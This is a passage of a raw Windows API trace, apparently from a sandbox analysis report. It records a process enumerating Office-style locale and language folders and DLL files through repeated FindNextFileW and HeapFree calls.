	[0080.897] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1053", cAlternateFileName="")) returned 1
	[0080.898] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.898] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1054", cAlternateFileName="")) returned 1
	[0080.912] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.912] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1055", cAlternateFileName="")) returned 1
	[0080.912] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.912] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1057", cAlternateFileName="")) returned 1
	[0080.912] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.912] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1058", cAlternateFileName="")) returned 1
	[0080.913] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.913] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1060", cAlternateFileName="")) returned 1
	[0080.914] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.914] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1061", cAlternateFileName="")) returned 1
	[0080.915] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.915] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1062", cAlternateFileName="")) returned 1
	[0080.916] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.916] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1063", cAlternateFileName="")) returned 1
	[0080.917] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.917] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1066", cAlternateFileName="")) returned 1
	[0080.918] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.918] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1069", cAlternateFileName="")) returned 1
	[0080.919] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.919] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1081", cAlternateFileName="")) returned 1
	[0080.920] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.920] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1086", cAlternateFileName="")) returned 1
	[0080.920] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.920] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1087", cAlternateFileName="")) returned 1
	[0080.921] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.921] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1110", cAlternateFileName="")) returned 1
	[0080.923] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.923] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1
	[0080.924] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.924] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2070", cAlternateFileName="")) returned 1
	[0080.925] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.925] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2074", cAlternateFileName="")) returned 1
	[0080.925] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.925] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0080.926] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.926] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 1
	[0080.927] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.927] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 0
	[0080.927] FindClose (in: hFindFile=0x31213d0 | out: hFindFile=0x31213d0) returned 1
	[0080.927] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.927] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
	[0080.931] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.931] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
	[0080.934] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.934] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
	[0081.239] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0081.239] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
	[0081.243] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0081.243] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5612cee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5612cee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0081.248] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0081.248] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1
	[0081.253] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0081.253] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0081.258] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0081.258] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
	[0081.263] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0081.263] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
	[0081.294] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0081.294] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
	[0081.298] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0081.298] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f913, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracedefinition110.xml", cAlternateFileName="TRACED~1.XML")) returned 1
	[0081.303] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0081.303] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
	[0081.308] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0081.308] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1
	[0081.314] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0081.314] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1
	[0081.322] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0081.322] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0
	[0081.322] FindClose (in: hFindFile=0x31216d0 | out: hFindFile=0x31216d0) returned 1
	[0081.323] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0081.323] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x163c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1
	[0081.323] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0081.326] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b680, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AdeModule.dll", cAlternateFileName="ADEMOD~1.DLL")) returned 1
	[0081.333] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0081.333] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 1
